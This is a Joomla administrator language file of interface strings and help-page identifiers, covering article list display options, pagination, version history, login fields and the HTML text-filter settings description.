JGLOBAL_FILTER_TYPE_DESC="<p>1. Forbidden List allows all tags and attributes except for those listed.<br><strong>--</strong> Tags for the Default Forbidden List include: 'applet', 'body', 'bgsound', 'base', 'basefont', 'canvas', 'embed', 'frame', 'frameset', 'head', 'html', 'id', 'iframe', 'ilayer', 'layer', 'link', 'meta', 'name', 'object', 'script', 'style', 'title', 'xml'<br><strong>--</strong> Attributes for the Default Forbidden List include: 'action', 'background', 'codebase', 'dynsrc', 'lowsrc', 'formaction'<br><strong>--</strong> You can forbid additional tags and attributes by adding to the Filter Tags and Filter Attributes fields, separating each tag or attribute name with a comma.<br><strong>--</strong> Custom Forbidden List allows you to override the Default Forbidden List. Add the tags and attributes to be forbidden in the Filter Tags and Filter Attributes fields.</p><p>Allowed List allows only the tags listed in the Filter Tags and Filter Attributes fields.</p><p>No HTML removes all HTML tags from the content when it is saved.</p><p>Please note that these settings work regardless of the editor that you are using. <br>Even if you are using a WYSIWYG editor, the filtering settings may strip additional tags and attributes prior to saving information in the database.</p>"
JGLOBAL_FILTER_TYPE_LABEL="Filter Type<sup>1</sup>"
JGLOBAL_FILTERED_BY="Filtered by:"
JGLOBAL_FULL_TEXT="Full Text"
JGLOBAL_GT=">"
JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC="The maximum number of old versions of an item to save. If zero, all old versions will be saved."
JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL="Maximum Versions"
JGLOBAL_HITS="Hits"
JGLOBAL_HITS_ASC="Hits ascending"
JGLOBAL_HITS_DESC="Hits descending"
JGLOBAL_INHERIT="Inherit"
JGLOBAL_INTEGRATION_LABEL="Integration"
JGLOBAL_INTRO_TEXT="Intro Text"
JGLOBAL_ISFREESOFTWARE="%s is free software released under the <a href=\"https://www.gnu.org/licenses/gpl-2.0.html\" target=\"_blank\">GNU General Public License</a>."
JGLOBAL_ITEM_FEATURE="Feature Item"
JGLOBAL_ITEM_UNFEATURE="Unfeature Item"
JGLOBAL_KEEP_TYPING="Keep typing ..."
JGLOBAL_LANGUAGE_VERSION_NOT_PLATFORM="Language pack does not match this Joomla! version. Some strings may be missing and will be displayed in English."
JGLOBAL_LEARN_MORE="Learn More"
JGLOBAL_LEAST_HITS="Least Hits"
JGLOBAL_LEFT="Left"
JGLOBAL_LINK_AUTHOR_LABEL="Link to Author's Contact Page"
JGLOBAL_LINK_CATEGORY_DESC="If set to Yes, and if Show Category is set to 'Show', the Category Title will link to a layout showing articles in that Category."
JGLOBAL_LINK_CATEGORY_LABEL="Link Category"
JGLOBAL_LINK_PARENT_CATEGORY_DESC="If set to Yes, and if Show Parent is set to 'Show', the Parent Category Title will link to a layout showing articles in that Category."
JGLOBAL_LINK_PARENT_CATEGORY_LABEL="Link Parent Category"
JGLOBAL_LINKED_INTRO_IMAGE_LABEL="Linked Intro Image"
JGLOBAL_LINKED_TITLES_DESC="If set to Yes, the article title will be a link to the article."
JGLOBAL_LINKED_TITLES_LABEL="Linked Titles"
JGLOBAL_LIST="List"
JGLOBAL_LIST_ALIAS="Alias: %s"
JGLOBAL_LIST_ALIAS_NOTE="(<span>Alias</span>: %s, <span>Note</span>: %s)"
JGLOBAL_LIST_AUTHOR_DESC="Show or hide the article author in the list of articles."
JGLOBAL_LIST_AUTHOR_LABEL="Author"
JGLOBAL_LIST_HITS_DESC="Show or hide article hits in the list of articles."
JGLOBAL_LIST_HITS_LABEL="Hits"
JGLOBAL_LIST_LAYOUT_OPTIONS="List Layouts"
JGLOBAL_LIST_LIMIT="Select number of items per page."
JGLOBAL_LIST_NAME="(<span>Name</span>: %s)"
JGLOBAL_LIST_NAME_NOTE="(<span>Name</span>: %s, <span>Note</span>: %s)"
JGLOBAL_LIST_NOTE="(<span>Note</span>: %s)"
JGLOBAL_LIST_RATINGS_DESC="Whether to show article ratings in the list of articles."
JGLOBAL_LIST_RATINGS_LABEL="Show Ratings in List"
JGLOBAL_LIST_TITLE_DESC="If Show, Category Title will show in the list of categories."
JGLOBAL_LIST_TITLE_LABEL="Category Title"
JGLOBAL_LIST_VOTES_DESC="Whether to show article votes in the list of articles."
JGLOBAL_LIST_VOTES_LABEL="Show Votes in List"
JGLOBAL_LOOKING_FOR="Looking for"
JGLOBAL_LT="<"
JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC="The number of subcategory levels to display."
JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL="Subcategory Levels"
JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT="Maximum upload size: <strong>%s</strong>"
JGLOBAL_MAXLEVEL_DESC="Maximum number of levels of subcategories to show."
JGLOBAL_MAXLEVEL_LABEL="Subcategory Levels"
JGLOBAL_MENU_SELECTION="Menu Selection"
JGLOBAL_MODIFIED="Modified"
JGLOBAL_MODIFIED_DATE="Modified Date"
JGLOBAL_MOST_HITS="Most Hits"
JGLOBAL_MOST_RECENT_FIRST="Most Recent First"
JGLOBAL_MULTI_LEVEL="Multi Level"
JGLOBAL_NAME_ASC="Name ascending"
JGLOBAL_NAME_DESC="Name descending"
JGLOBAL_NEWITEMSFIRST_DESC="New items default to the first position. The ordering can be changed after this item is saved."
JGLOBAL_NEWITEMSLAST_DESC="New items default to the last position. The ordering can be changed after this item is saved."
JGLOBAL_NO_ITEM_SELECTED="No items selected"
JGLOBAL_NO_MATCHING_RESULTS="No Matching Results"
JGLOBAL_NO_ORDER="No Order"
JGLOBAL_NONAPPLICABLE="N/A"
JGLOBAL_NUM_INTRO_ARTICLES_DESC="Number of articles to show after the leading article. Articles will be shown in columns."
JGLOBAL_NUM_INTRO_ARTICLES_LABEL="# Intro Articles"
JGLOBAL_NUM_LEADING_ARTICLES_DESC="Number of leading articles to display as full-width at the beginning of the page."
JGLOBAL_NUM_LEADING_ARTICLES_LABEL="# Leading Articles"
JGLOBAL_NUM_LINKS_DESC="Number of articles to display as links, normally below the Intro Articles."
JGLOBAL_NUM_LINKS_LABEL="# Links"
JGLOBAL_NUMBER_CATEGORY_ITEMS_DESC="If Show, the number of articles in the category will show."
JGLOBAL_NUMBER_CATEGORY_ITEMS_LABEL="Show Article Count"
JGLOBAL_NUMBER_ITEMS_LIST_DESC="Default number of articles to list on a page."
JGLOBAL_NUMBER_ITEMS_LIST_LABEL="# Articles to List"
JGLOBAL_OLDEST_FIRST="Oldest First"
JGLOBAL_OPENS_IN_A_NEW_WINDOW="Opens in a new window"
JGLOBAL_ORDER_ASCENDING="Ascending"
JGLOBAL_ORDER_DESCENDING="Descending"
JGLOBAL_ORDER_DIRECTION_DESC="Sort order. Descending is highest to lowest. Ascending is lowest to highest."
JGLOBAL_ORDER_DIRECTION_LABEL="Direction"
JGLOBAL_ORDERING="Article Order"
JGLOBAL_ORDERING_DATE_DESC="If articles are ordered by date, which date to use."
JGLOBAL_ORDERING_DATE_LABEL="Date for Ordering"
JGLOBAL_OTPMETHOD_NONE="Disable Two Factor Authentication"
JGLOBAL_PAGINATION_DESC="Show or hide Pagination support. Pagination provides page links at the bottom of the page that allow the User to navigate to additional pages. These are needed if the Information will not fit on one page."
JGLOBAL_PAGINATION_LABEL="Pagination"
JGLOBAL_PAGINATION_RESULTS_DESC="Show or hide pagination summary, for example, "Page 1 of 4"."
JGLOBAL_PAGINATION_RESULTS_LABEL="Pagination Summary"
JGLOBAL_PASSWORD="Password"
JGLOBAL_PASSWORD_RESET_REQUIRED="You are required to reset your password before proceeding."
JGLOBAL_PERMISSIONS_ANCHOR="Set Permissions"
JGLOBAL_PREVIEW="Preview"
JGLOBAL_PREVIEW_POSITION="<span>Position:</span> %s"
JGLOBAL_PREVIEW_STYLE="<span>Style:</span> %s"
JGLOBAL_PUBLISHED_DATE="Published Date"
JGLOBAL_RANDOM_ORDER="Random Order"
JGLOBAL_RATINGS="Ratings"
JGLOBAL_RATINGS_ASC="Ratings ascending"
JGLOBAL_RATINGS_DESC="Ratings descending"
JGLOBAL_RECORD_HITS_DISABLED="The recording of hits is disabled."
JGLOBAL_RECORD_HITS_LABEL="Record Hits"
JGLOBAL_RECORD_NUMBER="Record ID: %d"
JGLOBAL_REMEMBER_ME="Remember Me"
JGLOBAL_REPEATABLE_FIELDS_TABLE_CAPTION="Table of repeatable fields."
JGLOBAL_REVERSE_ORDERING="Article Reverse Order"
JGLOBAL_RIGHT="Right"
JGLOBAL_ROOT="Root"
JGLOBAL_ROOT_PARENT="- No parent -"
JGLOBAL_SAVE_HISTORY_OPTIONS_DESC="Automatically save old versions of an item. If set to Yes, old versions of items are saved automatically. When editing, you may restore from a previous version of the item."
JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL="Enable Versions"
JGLOBAL_SECRETKEY="Secret Key"
JGLOBAL_SECRETKEY_HELP="If you have enabled two factor authentication in your user account please enter your secret key. If you do not know what this means, you can leave this field blank."
JGLOBAL_SEF_NOIDS_DESC="Remove the IDs from the URLs of this component."
JGLOBAL_SEF_NOIDS_LABEL="Remove IDs from URLs"
JGLOBAL_SEF_TITLE="Routing"
JGLOBAL_SELECT_ALLOW_DENY_GROUP="Change %s permission for %s group."
JGLOBAL_SELECT_AN_OPTION="Select an option"
JGLOBAL_SELECT_NO_RESULTS_MATCH="No results match"
JGLOBAL_SELECT_PRESS_TO_SELECT="Press to select"
JGLOBAL_SELECT_SOME_OPTIONS="Select some options"
JGLOBAL_SELECTED_UPLOAD_FILE_SIZE="Selected file size: <strong>%s</strong>"
JGLOBAL_SELECTION_ALL="Select All"
JGLOBAL_SELECTION_INVERT="Toggle Selection"
JGLOBAL_SELECTION_INVERT_ALL="Toggle All Selections"
JGLOBAL_SELECTION_NONE="Clear Selection"
JGLOBAL_SHOW_ASSOCIATIONS_DESC="Multilingual only. If set to Show, the associated articles flags or URL Language Code will be displayed."
JGLOBAL_SHOW_ASSOCIATIONS_LABEL="Associations"
JGLOBAL_SHOW_AUTHOR_DESC="If set to Show, the Name of the article's Author will be displayed."
JGLOBAL_SHOW_AUTHOR_LABEL="Author"
JGLOBAL_SHOW_CATEGORY_DESC="If set to Show, the title of the article’s category will show."
JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC="Show or hide the description of the selected Category."
JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL="Category Description"
JGLOBAL_SHOW_CATEGORY_HEADING_TITLE_TEXT_DESC="If Show, the "Subcategories" will show as a subheading on the page. The subheading is usually displayed inside the "H3" tag."
JGLOBAL_SHOW_CATEGORY_HEADING_TITLE_TEXT_LABEL="Subcategories Text"
JGLOBAL_SHOW_CATEGORY_IMAGE_DESC="Show or hide the image of the selected Category."
JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL="Category Image"
JGLOBAL_SHOW_CATEGORY_LABEL="Category"
JGLOBAL_SHOW_CATEGORY_TITLE="Category Title"
JGLOBAL_SHOW_CATEGORY_TITLE_DESC="If Show, the Category Title will show as a subheading on the page. The subheading is usually displayed inside the "H2" tag."
JGLOBAL_SHOW_CREATE_DATE_DESC="If set to Show, the date and time an Article was created will be displayed."
JGLOBAL_SHOW_CREATE_DATE_LABEL="Create Date"
JGLOBAL_SHOW_DATE_DESC="Show or hide a date column in the list of articles, or select which date you wish to show."
JGLOBAL_SHOW_DATE_LABEL="Date"
JGLOBAL_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty if it has no items or subcategories."
JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL="Empty Categories"
JGLOBAL_SHOW_FEATURED_ARTICLES_DESC="Select to show, hide or only display featured articles."
JGLOBAL_SHOW_FEATURED_ARTICLES_LABEL="Featured Articles"
JGLOBAL_SHOW_FEED_LINK_DESC="Show or hide an RSS Feed Link. (A Feed Link will show up as a feed icon in the address bar of most modern browsers)."
JGLOBAL_SHOW_FEED_LINK_LABEL="RSS Feed Link"
JGLOBAL_SHOW_FLAG_DESC="If set to 'Yes', will display language choice as image flags. Otherwise will use the content language URL Language Code."
JGLOBAL_SHOW_FLAG_LABEL="Use Image Flags"
JGLOBAL_SHOW_FULL_DESCRIPTION="Show full description ..."
JGLOBAL_SHOW_HEADINGS_DESC="Show or hide the headings in list layouts."
JGLOBAL_SHOW_HEADINGS_LABEL="Table Headings"
JGLOBAL_SHOW_HITS_LABEL="Hits"
JGLOBAL_SHOW_INTRO_DESC="If set to Show, the Intro Text of the article will show when you drill down to the article. If set to Hide, only the part of the article after the "Read More" break will show."
JGLOBAL_SHOW_INTRO_LABEL="Intro Text"
JGLOBAL_SHOW_MODIFY_DATE_DESC="If set to Show, the date and time an Article was last modified will be displayed."
JGLOBAL_SHOW_MODIFY_DATE_LABEL="Modify Date"
JGLOBAL_SHOW_NAVIGATION_DESC="If set to Show, shows a navigation link (Next, Previous) between articles."
JGLOBAL_SHOW_NAVIGATION_LABEL="Navigation"
JGLOBAL_SHOW_PARENT_CATEGORY_DESC="If set to Show, the title of the article’s parent category will show."
JGLOBAL_SHOW_PARENT_CATEGORY_LABEL="Parent Category"
JGLOBAL_SHOW_PUBLISH_DATE_DESC="If set to Show, the date and time an Article was published will be displayed."
JGLOBAL_SHOW_PUBLISH_DATE_LABEL="Publish Date"
JGLOBAL_SHOW_READMORE_DESC="If set to Show, the Read more ...Link will show if Main text has been provided for the Article."
JGLOBAL_SHOW_READMORE_LABEL=""Read More" Link"
JGLOBAL_SHOW_READMORE_LIMIT_DESC="Set a limit of number of characters in Article Title to show in Read More button."
JGLOBAL_SHOW_READMORE_LIMIT_LABEL="Read More Limit (characters)"
JGLOBAL_SHOW_READMORE_TITLE_DESC="If set to show the title of the Article will be shown on the Read More button."
JGLOBAL_SHOW_READMORE_TITLE_LABEL="Title with Read More"
JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC="Show or hide the subcategories descriptions."
JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL="Subcategories Descriptions"
JGLOBAL_SHOW_SUBCATEGORY_CONTENT_DESC="If None, only articles from this category will show. If a number, all articles from the category and the subcategories up to and including that level will show in the blog."
JGLOBAL_SHOW_SUBCATEGORY_CONTENT_LABEL="Include Subcategories"
JGLOBAL_SHOW_SUBCATEGORY_HEADING="Subcategories Heading"
JGLOBAL_SHOW_TAGS_DESC="Show the tags for this link."
JGLOBAL_SHOW_TAGS_LABEL="Tags"
JGLOBAL_SHOW_TITLE_DESC="If set to Show, the article title is shown."
JGLOBAL_SHOW_TITLE_LABEL="Title"
JGLOBAL_SHOW_UNAUTH_LINKS_DESC="If set to Yes, links to registered content will be shown even if you are not logged-in. You will need to log in to access the full item."
JGLOBAL_SHOW_UNAUTH_LINKS_LABEL="Unauthorised Links"
JGLOBAL_SHOW_VOTE_DESC="If set to show, a voting system will be enabled for Articles."
JGLOBAL_SHOW_VOTE_LABEL="Voting"
JGLOBAL_SINGLE_LEVEL="Single Level"
JGLOBAL_SORT_BY="Sort Table By:"
JGLOBAL_SORTED_BY="Sorted by:"
JGLOBAL_STAGE_PROCESS="Process"
JGLOBAL_START_PUBLISH_AFTER_FINISH="Item start publishing date must be before finish publishing date"
JGLOBAL_SUBSLIDER_BLOG_EXTENDED_LABEL="The option below gives the ability to include articles from subcategories in the Blog layout."
JGLOBAL_SUBSLIDER_BLOG_LAYOUT_LABEL="If a field is left blank, global settings will be used."
JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL="These options are also used when you select one of the category links, on the first page and/or thereafter, unless they are changed for a specific menu item."
JGLOBAL_TITLE="Title"
JGLOBAL_TITLE_ALPHABETICAL="Title Alphabetical"
JGLOBAL_TITLE_ASC="Title ascending"
JGLOBAL_TITLE_DESC="Title descending"
JGLOBAL_TITLE_REVERSE_ALPHABETICAL="Title Reverse Alphabetical"
JGLOBAL_TOGGLE_DROPDOWN="Toggle Dropdown"
JGLOBAL_TOGGLE_FEATURED="Toggle featured status"
JGLOBAL_TOP="Top"
JGLOBAL_TPL_CPANEL_LINK_TEXT="Return to Dashboard"
JGLOBAL_TYPE_OR_SELECT_CATEGORY="Type or Select a Category"
JGLOBAL_TYPE_OR_SELECT_SOME_OPTIONS="Type or select some options"
JGLOBAL_TYPE_OR_SELECT_SOME_TAGS="Type or select some tags"
JGLOBAL_USE_GLOBAL="Use Global"
JGLOBAL_USE_GLOBAL_VALUE="Use Global (%s)"
JGLOBAL_USERNAME="Username"
JGLOBAL_VALIDATION_FORM_FAILED="Invalid form"
JGLOBAL_VIEW_SITE="View Site"
JGLOBAL_VOTES="Votes"
JGLOBAL_VOTES_ASC="Votes ascending"
JGLOBAL_VOTES_DESC="Votes descending"
JGLOBAL_WARNCOOKIES="Warning! Cookies must be enabled to access the Administrator Backend."
JGLOBAL_WARNIE="Warning! Internet Explorer should not be used for proper operation of the Administrator Backend."
JGLOBAL_WARNJAVASCRIPT="Warning! JavaScript must be enabled for proper operation of the Administrator Backend."
JGLOBAL_WIDTH="Width"
JGRID_HEADING_ACCESS="Access"
JGRID_HEADING_ACCESS_ASC="Access ascending"
JGRID_HEADING_ACCESS_DESC="Access descending"
JGRID_HEADING_CAPTION_ASC="%s - ascending"
JGRID_HEADING_CAPTION_DESC="%s - descending"
JGRID_HEADING_CREATED_BY="Created by"
JGRID_HEADING_ID="ID"
JGRID_HEADING_ID_ASC="ID ascending"
JGRID_HEADING_ID_DESC="ID descending"
JGRID_HEADING_LANGUAGE="Language"
JGRID_HEADING_LANGUAGE_ASC="Language ascending"
JGRID_HEADING_LANGUAGE_DESC="Language descending"
JGRID_HEADING_MENU_ITEM_TYPE="Menu Item Type"
JGRID_HEADING_ORDERING="Ordering"
JGRID_HEADING_ORDERING_ASC="Ordering ascending"
JGRID_HEADING_ORDERING_DESC="Ordering descending"
JHELP_ADMIN_USER_PROFILE_EDIT="My_Profile"
JHELP_COMPONENTS_ACTIONLOGS="User_Actions_Log"
JHELP_COMPONENTS_ASSOCIATIONS="Multilingual_Associations"
JHELP_COMPONENTS_ASSOCIATIONS_EDIT="Multilingual_Associations:_Edit"
JHELP_COMPONENTS_BANNERS_BANNERS="Banners"
JHELP_COMPONENTS_BANNERS_BANNERS_EDIT="Banners:_Edit"
JHELP_COMPONENTS_BANNERS_CATEGORIES="Banners:_Categories"
JHELP_COMPONENTS_BANNERS_CATEGORY_ADD="Banners:_New_or_Edit_Category"
JHELP_COMPONENTS_BANNERS_CATEGORY_EDIT="Banners:_New_or_Edit_Category"
JHELP_COMPONENTS_BANNERS_CLIENTS="Banners:_Clients"
JHELP_COMPONENTS_BANNERS_CLIENTS_EDIT="Banners:_New_or_Edit_Client"
JHELP_COMPONENTS_BANNERS_TRACKS="Banners:_Tracks"
JHELP_COMPONENTS_COM_ACTIONLOGS_OPTIONS="User_Actions_Log:_Options"
JHELP_COMPONENTS_COM_ASSOCIATIONS_OPTIONS="Multilingual_Associations:_Options"
JHELP_COMPONENTS_COM_BANNERS_OPTIONS="Banners:_Options"
JHELP_COMPONENTS_COM_CACHE_OPTIONS="Cache:_Options"
JHELP_COMPONENTS_COM_CHECKIN_OPTIONS="Check-in:_Options"
JHELP_COMPONENTS_COM_CONTACT_OPTIONS="Contacts:_Options"
JHELP_COMPONENTS_COM_CONTENT_OPTIONS="Articles:_Options"
JHELP_COMPONENTS_COM_FINDER_OPTIONS="Smart_Search:_Options"
JHELP_COMPONENTS_COM_INSTALLER_OPTIONS="Installer:_Options"
JHELP_COMPONENTS_COM_JOOMLAUPDATE_OPTIONS="Joomla_Update:_Options"
JHELP_COMPONENTS_COM_LANGUAGES_OPTIONS="Languages:_Options"
JHELP_COMPONENTS_COM_MAILS_OPTIONS="Mail_Templates:_Options"
JHELP_COMPONENTS_COM_MEDIA_OPTIONS="Media:_Options"
JHELP_COMPONENTS_COM_MENUS_OPTIONS="Menus:_Options"
JHELP_COMPONENTS_COM_MESSAGES_OPTIONS="Messages:_Options"
JHELP_COMPONENTS_COM_MODULES_OPTIONS="Module:_Options"
JHELP_COMPONENTS_COM_NEWSFEEDS_OPTIONS="News_Feed:_Options"
JHELP_COMPONENTS_COM_PLUGINS_OPTIONS="Plugin:_Options"
JHELP_COMPONENTS_COM_POSTINSTALL_OPTIONS="Post-installation_Messages:_Options"
JHELP_COMPONENTS_COM_PRIVACY_OPTIONS="Privacy:_Options"
JHELP_COMPONENTS_COM_REDIRECT_OPTIONS="Redirect:_Options"
JHELP_COMPONENTS_COM_TAGS_OPTIONS="Tags:_Options"
JHELP_COMPONENTS_COM_TEMPLATES_OPTIONS="Template:_Options"
JHELP_COMPONENTS_COM_USERS_OPTIONS="Users:_Options"
JHELP_COMPONENTS_CONTACT_CATEGORIES="Contacts:_Categories"
JHELP_COMPONENTS_CONTACT_CATEGORY_ADD="Contacts:_New_or_Edit_Category"
JHELP_COMPONENTS_CONTACT_CATEGORY_EDIT="Contacts:_New_or_Edit_Category"
JHELP_COMPONENTS_CONTACTS_CONTACTS="Contacts"
JHELP_COMPONENTS_CONTACTS_CONTACTS_EDIT="Contacts:_New_or_Edit"
JHELP_COMPONENTS_CONTENT_CATEGORIES="Articles:_Categories"
JHELP_COMPONENTS_CONTENT_CATEGORY_ADD="Articles:_New_or_Edit_Category"
JHELP_COMPONENTS_CONTENT_CATEGORY_EDIT="Articles:_New_or_Edit_Category"
JHELP_COMPONENTS_FIELDS_FIELD_GROUPS="Component:_Field_Groups"
JHELP_COMPONENTS_FIELDS_FIELD_GROUPS_EDIT="Component:_New_or_Edit_Field_Group"
JHELP_COMPONENTS_FIELDS_FIELDS="Component:_Fields"
JHELP_COMPONENTS_FIELDS_FIELDS_EDIT="Component:_New_or_Edit_Field"
JHELP_COMPONENTS_FINDER_MANAGE_CONTENT_MAPS="Smart_Search:_Content_Maps"
JHELP_COMPONENTS_FINDER_MANAGE_INDEXED_CONTENT="Smart_Search:_Indexed_Content"
JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS="Smart_Search:_Search_Filters"
JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS_EDIT="Smart_Search:_New_or_Edit_Filter"
JHELP_COMPONENTS_FINDER_MANAGE_SEARCHES="Smart_Search:_Search_Term_Analysis"
JHELP_COMPONENTS_INSTALLER_UPDATESITE_EDIT="Edit_Update_Site"
JHELP_COMPONENTS_JOOMLA_UPDATE="Joomla_Update"
JHELP_COMPONENTS_MAILS_TEMPLATES="Mail_Templates"
JHELP_COMPONENTS_MAILS_TEMPLATE_EDIT="Mail_Template:_Edit"
JHELP_COMPONENTS_MESSAGING_INBOX="Private_Messages"
JHELP_COMPONENTS_MESSAGING_READ="Private_Messages:_Read"
JHELP_COMPONENTS_MESSAGING_WRITE="Private_Messages:_Write"
JHELP_COMPONENTS_NEWSFEEDS_CATEGORIES="News_Feeds:_Categories"
JHELP_COMPONENTS_NEWSFEEDS_CATEGORY_ADD="News_Feeds:_New_or_Edit_Category"
JHELP_COMPONENTS_NEWSFEEDS_CATEGORY_EDIT="News_Feeds:_New_or_Edit_Category"
JHELP_COMPONENTS_NEWSFEEDS_FEEDS="News_Feeds"
JHELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT="News_Feeds:_New_or_Edit"
JHELP_COMPONENTS_POST_INSTALLATION_MESSAGES="Post-installation_Messages_for_Joomla_CMS"
JHELP_COMPONENTS_PRIVACY_CAPABILITIES="Privacy:_Extension_Capabilities"
JHELP_COMPONENTS_PRIVACY_CONSENTS="Privacy:_Consents"
JHELP_COMPONENTS_PRIVACY_DASHBOARD="Privacy_Dashboard"
JHELP_COMPONENTS_PRIVACY_REQUEST="Privacy:_Review_Information_Request"
JHELP_COMPONENTS_PRIVACY_REQUEST_EDIT="Privacy:_New_Information_Request"
JHELP_COMPONENTS_PRIVACY_REQUESTS="Privacy:_Information_Requests"
JHELP_COMPONENTS_REDIRECT_MANAGER="Redirects:_Links"
JHELP_COMPONENTS_REDIRECT_MANAGER_EDIT="Redirects:_New_or_Edit"
JHELP_COMPONENTS_TAGS_MANAGER="Tags"
JHELP_COMPONENTS_TAGS_MANAGER_EDIT="Tags:_New_or_Edit"
JHELP_COMPONENTS_USERS_CATEGORIES="User_Notes:_Categories"
JHELP_COMPONENTS_USERS_CATEGORY_ADD="User_Notes:_New_or_Edit_Category"
JHELP_COMPONENTS_USERS_CATEGORY_EDIT="User_Notes:_New_or_Edit_Category"
JHELP_COMPONENTS_WORKFLOW_STAGES_LIST="Stages_List:_Basic_Workflow"
JHELP_COMPONENTS_WORKFLOW_TRANSITIONS_LIST="Transitions_List:_Basic_Workflow"
JHELP_COMPONENTS_WORKFLOW_WORKFLOWS_LIST="Workflows_List"
JHELP_CONTENT_ARTICLE_MANAGER="Articles"
JHELP_CONTENT_ARTICLE_MANAGER_EDIT="Articles:_Edit"
JHELP_CONTENT_FEATURED_ARTICLES="Articles:_Featured"
JHELP_CONTENT_MEDIA_MANAGER="Media"
JHELP_EXTENSIONS_EXTENSION_MANAGER_DATABASE="Information:_Database"
JHELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER="Extensions:_Discover"
JHELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL="Extensions:_Install"
JHELP_EXTENSIONS_EXTENSION_MANAGER_LANGUAGES="Extensions:_Languages"
JHELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE="Extensions:_Manage"
JHELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE="Extensions:_Update"
JHELP_EXTENSIONS_EXTENSION_MANAGER_UPDATESITES="Extensions:_Update_Sites"
JHELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS="Information:_Warnings"
JHELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT="Languages:_Content"
JHELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT="Languages:_Edit_Content_Language"
JHELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED="Languages:_Installed"
JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES="Languages:_Overrides"
JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES_EDIT="Languages:_Edit_Override"
JHELP_EXTENSIONS_MODULE_MANAGER="Modules"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_CUSTOM="Admin_Modules:_Custom"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_FEED="Admin_Modules:_Feed_Display"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_FRONTEND="Admin_Modules:_Frontend_Link"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LATEST="Admin_Modules:_Articles_-_Latest"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LATESTACTIONS="Admin_Modules:_Action_Logs_-_Latest"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGGED="Admin_Modules:_Logged-in_Users"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGIN="Admin_Modules:_Login_Form"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGIN_SUPPORT="Admin_Modules:_Login_Support_Information"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MENU="Admin_Modules:_Administrator_Menu"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MESSAGES="Admin_Modules:_Messages"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MULTILANG="Admin_Modules:_Multilingual_Status"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_POPULAR="Admin_Modules:_Popular_Articles"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_POST_INSTALLATION_MESSAGES="Admin_Modules:_Post_Installation_Messages"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_PRIVACY_DASHBOARD="Admin_Modules:_Privacy_Dashboard"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_PRIVACY_STATUS="Admin_Modules:_Privacy_Status_Check"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_QUICKICON="Admin_Modules:_Quick_Icons"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_SAMPLE_DATA="Admin_Modules:_Sample_Data"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_STATUS_USER="Admin_Modules:_User_Menu"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_SUBMENU="Admin_Modules:_Administrator_Dashboard_Menu"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_TITLE="Admin_Modules:_Title"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_TOOLBAR="Admin_Modules:_Toolbar"
JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_VERSION="Admin_Modules:_Joomla_Version_Information"
JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_ARCHIVE="Site_Modules:_Articles_-_Archived"
JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORIES="Site_Modules:_Articles_-_Categories"
JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORY="Site_Modules:_Articles_-_Category"
JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_NEWSFLASH="Site_Modules:_Articles_-_Newsflash"
JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_RELATED="Site_Modules:_Articles_-_Related"
JHELP_EXTENSIONS_MODULE_MANAGER_BANNERS="Site_Modules:_Banners"
JHELP_EXTENSIONS_MODULE_MANAGER_BREADCRUMBS="Site_Modules:_Breadcrumbs"
JHELP_EXTENSIONS_MODULE_MANAGER_CUSTOM_HTML="Site_Modules:_Custom"
JHELP_EXTENSIONS_MODULE_MANAGER_EDIT=""
JHELP_EXTENSIONS_MODULE_MANAGER_FEED_DISPLAY="Site_Modules:_Feed_Display"
JHELP_EXTENSIONS_MODULE_MANAGER_FOOTER="Site_Modules:_Footer"
JHELP_EXTENSIONS_MODULE_MANAGER_LANGUAGE_SWITCHER="Site_Modules:_Language_Switcher"
